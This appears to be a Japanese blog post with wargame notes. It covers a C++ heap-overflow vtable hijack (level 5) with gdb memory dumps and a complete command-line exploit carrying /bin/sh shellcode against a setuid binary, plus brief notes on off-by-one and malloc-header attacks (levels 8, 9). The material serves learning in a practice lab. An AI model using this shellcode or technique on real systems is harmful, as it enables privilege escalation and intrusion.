-rw-r--r--   1 level1  level1   171 Jan 18 14:54 .login_conf
-rw-------   1 level1  level1   383 Jan 18 14:54 .mail_aliases
-rw-r--r--   1 level1  level1   343 Jan 18 14:54 .mailrc
-rw-r--r--   1 level1  level1   789 Jan 18 14:54 .profile
-rw-------   1 level1  level1   288 Jan 18 14:54 .rhosts
-rw-r--r--   1 level1  level1   984 Jan 18 14:54 .shrc
-rwsr-xr-x   1 level1  level1  3432 Jan 18 17:57 hello2
-rw-------   1 level1  level1   408 Jan 18 17:56 hello2.c
-rw-------   1 level1  level1    12 Jan 18 17:59 password
-rw-r--r--   1 level1  level1   101 Jan 30 16:37 url

$ cat ~level1/password
************

level5

ヒープオーバフロー

  • C++のコードの攻略
  • newされた隣り合ったクラスインスタンスのvtableのアドレスを書き換えて、任意のコードを実行
    • vtableはC++のvirtualを実現するために、クラスインスタンスに関数アドレスを格納しておく仕組み。

処理の流れ

  • vtableからアドレスをロード
  • そのアドレスをコール
メモ
(gdb) run `ruby -e 'print "A"*64'`
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...ENG: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08048759 in ?? ()
(gdb) x/5i $eip - 7
0x8048754 <__gxx_personality_v0+480>:   mov    0xfffffff4(%ebp),%eax <- (1)
0x8048757 <__gxx_personality_v0+483>:   mov    (%eax),%eax <- (2)
0x8048759 <__gxx_personality_v0+485>:   mov    (%eax),%edx <- (3) %eaxに0x41414141が入っていて、メモリが割り当てられていないアドレスを参照しようとしていて、ここで落ちてる
0x804875b <__gxx_personality_v0+487>:   mov    0xfffffff4(%ebp),%eax
0x804875e <__gxx_personality_v0+490>:   mov    %eax,(%esp)
0x8048761 <__gxx_personality_v0+493>:   call   *%edx       <- (4)
0x8048763 <__gxx_personality_v0+495>:   movl   $0x0,0xffffffe4(%ebp)
(gdb)

してること

  • (1) ebp-12の位置からポインタをeaxへ読み込む
    • 0xfffffff4はintで-12
  • (2) eaxが指しているアドレスに格納されているアドレスをeaxに読み込み
  • (3) eaxが指しているアドレスに格納さている関数ポインタをedxへ読み込む(vtableからアドレス読み込み)
  • (4) edxが指しているアドレスをcall

普通に動かしてみて、メモリの状態がどうなってるか確認してみる まず(1)の処理は(a)の部分に格納されているintの数値0x28301070をeaxへ格納している。

(gdb) b *0x8048757
Breakpoint 1 at 0x8048757
(gdb) run AAAA
Breakpoint 1, 0x08048757 in ?? ()
(gdb)

(gdb) x/16x $ebp - 12
0xbfbfe79c:     0x28301070<-(a) 0xbfbfe7c0      0x00000002      0xbfbfe7e4
0xbfbfe7ac:     0x08048619      0x00000000      0x00000000      0xbfbfe7e4
0xbfbfe7bc:     0x08048619      0x00000002      0xbfbfe7ec      0xbfbfe7f8

次に(2)でeaxが指しているアドレス近辺を調べてみる。まず、正常に実行された場合。

(gdb) b *0x8048757
Breakpoint 1 at 0x8048757
(gdb) run AAAA
Breakpoint 1, 0x08048757 in ?? ()
(gdb) p/x $eax
$13 = 0x28301070
(gdb) x/32x 0x28301070 - 64
0x28301030:     0x00000000      0x00000000      0x00000000      0x00000000
0x28301040:     0x08048918      0x41414141<-(c) 0x00000000      0x00000000
0x28301050:     0x00000000      0x00000000      0x00000000      0x00000000
0x28301060:     0x00000000      0x00000000      0x00000000      0x00000000
0x28301070:     0x08048960<-(b) 0x41414141<-(d) 0x00000000      0x00000000
0x28301080:     0x00000000      0x00000000      0x00000000      0x00000000
0x28301090:     0x00000000      0x00000000      0x00000000      0x00000000
0x283010a0:     0x00000000      0x00000000      0x00000000      0x00000000

正常な場合の動作をまとめると次の通り

  • (1) $ebp - 12に格納されている値0x28301070(a)をeaxに格納
  • (2) eaxに格納されている0x28301070のアドレスにある0x08048960(b)をeaxに格納
  • (3) 0x08048960格納されている値をedxに格納
  • (4) edxに格納されている値が指しているアドレスがcallされる。

ちなみに(c)(d)の部分に引数として渡したAAAAの文字列が格納されている。

次にオーバーフローが発生している場合。(c)に格納されている文字列が長過ぎて(b)のcall先アドレスを上書きしてしまっている状態がわかる。

(gdb) b *0x8048757
Breakpoint 1 at 0x8048757
(gdb) run `ruby -e 'print "A"*64'`
Breakpoint 1, 0x08048757 in ?? ()
(gdb) p/x $eax
$14 = 0x28301070
(gdb) x/32x 0x28301070 - 64
0x28301030:     0x00000000      0x00000000      0x00000000      0x00000000
0x28301040:     0x08048918      0x41414141<-(c) 0x41414141      0x41414141
0x28301050:     0x41414141      0x41414141      0x41414141      0x41414141
0x28301060:     0x41414141      0x41414141      0x41414141      0x41414141
0x28301070:     0x41414141<-(b) 0x41414141<-(d) 0x41414141      0x41414141
0x28301080:     0x41414141      0x41414141      0x41414141      0x41414141
0x28301090:     0x41414141      0x41414141      0x41414141      0x41414141
0x283010a0:     0x41414141      0x41414141      0x41414141      0x41414141

ということは、

  • (1) $ebp - 12に格納されている値0x28301070(a)をeaxに格納
  • (2) eaxに格納されている0x28301070のアドレスにある0x○○○○○○○○(b)をeaxに格納
    • 0x○○○○○○○○(b)はバッファオーバーフローすることで任意の値に書き換え可能。
  • (3) 0x○○○○○○○○格納されている値0x△△△△△△△△をedxに格納
  • (4) edxに格納されている値が指しているアドレスがcallされる。

なので、(3)のアドレス0x△△△△△△△△を(c)からはじまるアドレスのどこかに配置すれば…

(gdb) b *0x8048757
Breakpoint 1 at 0x8048757
(gdb) run `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90" + "\x44\x10\x30\x28" + "\x6c\x10\x30\x28"'`
Breakpoint 1, 0x08048757 in ?? ()

(gdb) x/32x 0x28301070 - 64
0x28301030:     0x00000000      0x00000000      0x00000000      0x00000000
0x28301040:     0x08048918      0x8950c031<-(c) 0x10e883e0      0x31e38950
0x28301050:     0x2f6850c0      0x6868732f      0x6e69622f      0xc031e289
0x28301060:     0x50525350      0x80cd3bb0      0x90909090      0x28301044<-(e)
0x28301070:     0x2830106c<-(b) 0x8950c031<-(d) 0x10e883e0      0x31e38950
0x28301080:     0x2f6850c0      0x6868732f      0x6e69622f      0xc031e289
0x28301090:     0x50525350      0x80cd3bb0      0x90909090      0x28301044
0x283010a0:     0x2830106c      0x00000000      0x00000000      0x00000000
  • (1) $ebp - 12に格納されている値0x28301070(a)をeaxに格納
  • (2) eaxに格納されている0x28301070のアドレスにある値0x2830106c(b)をeaxに格納
  • (3) eaxに格納されている0x2830106cのアドレスにある値0x28301044(e)をedxに格納
  • (4) edxに格納されている値が指しているアドレス0x28301044(c)に格納されているコードがcallされる。

という感じで、(c)に格納しているshellcodeを実行する事が可能。

答え
$ ../level5/virtual `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90" + "\x44\x10\x30\x28" + "\x6c\x10\x30\x28"'`

level8

バッファが16バイトで、文字列16文字をそこにコピーすると、 文字列の最後に付加される\0が1バイトだけはみ出る。

テクニック - その1
  • 入力を大きくすると、スタックアドレスがマイナス方向へ進む
  • 入力の大きさでリターンアドレスを調整する
    • 環境変数、引数の数を調整
テクニック - その2

level9

ヒープオーバーフローの攻略

  • malloc()で確保されたメモリには…
    • サイズ別に分類分けされた配置がされている
    • 管理用に確保されたメモリの先頭にヘッダ情報がつく
    • 条件によって、オーバフローによる隣接したヘッダの書き換えが可能
    • free()の関数を呼び出したときに、free()を誤動作させることで、任意のアドレスを任意の値に書き換えることが可能

トップ 追記

2003|01|05|06|07|08|09|10|11|12|
2004|01|02|03|04|05|06|07|08|09|10|11|12|
2005|01|02|03|04|05|06|07|08|09|10|11|12|
2006|01|02|03|04|05|06|07|08|09|10|11|12|
2007|01|02|03|04|05|06|07|08|09|10|11|12|
2008|01|02|03|04|05|06|08|09|10|11|12|
2009|01|02|03|04|05|06|07|08|09|10|11|
2010|01|02|